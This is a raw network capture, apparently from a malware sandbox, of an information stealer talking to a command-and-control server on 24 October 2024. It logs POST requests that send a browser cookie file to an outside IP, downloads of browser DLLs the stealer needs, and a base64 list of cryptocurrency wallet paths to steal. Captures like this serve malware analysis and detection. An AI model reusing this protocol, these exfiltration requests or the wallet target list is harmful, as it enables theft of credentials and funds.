00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 24, 2024 02:50:10.333724022 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 24, 2024 02:50:14.590677023 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------FCGIJKJJKEBGHJKFIDGC--
Oct 24, 2024 02:50:15.376498938 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:15.481482983 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file"------HJDBAFIECGHCBFIDGDAA--
Oct 24, 2024 02:50:16.262999058 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:17.008919954 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGDGCGDAKEBFIJECG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="file"------AKKEGDGCGDAKEBFIJECG--
Oct 24, 2024 02:50:17.787755013 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:18.711771011 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 02:50:18.993302107 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 24, 2024 02:50:20.467614889 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 02:50:20.746948004 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 24, 2024 02:50:21.526263952 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 02:50:21.805696011 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 24, 2024 02:50:22.330775976 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 02:50:22.610434055 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 24, 2024 02:50:24.038252115 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 02:50:24.317496061 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 24, 2024 02:50:24.533807993 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 02:50:24.813195944 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 24, 2024 02:50:25.265382051 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEG Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 02:50:26.052947998 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:26.137116909 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="message"wallets------FIJJKECFCFBGDHIECAAF--
Oct 24, 2024 02:50:26.418961048 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:26 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 24, 2024 02:50:26.421756983 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJ Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 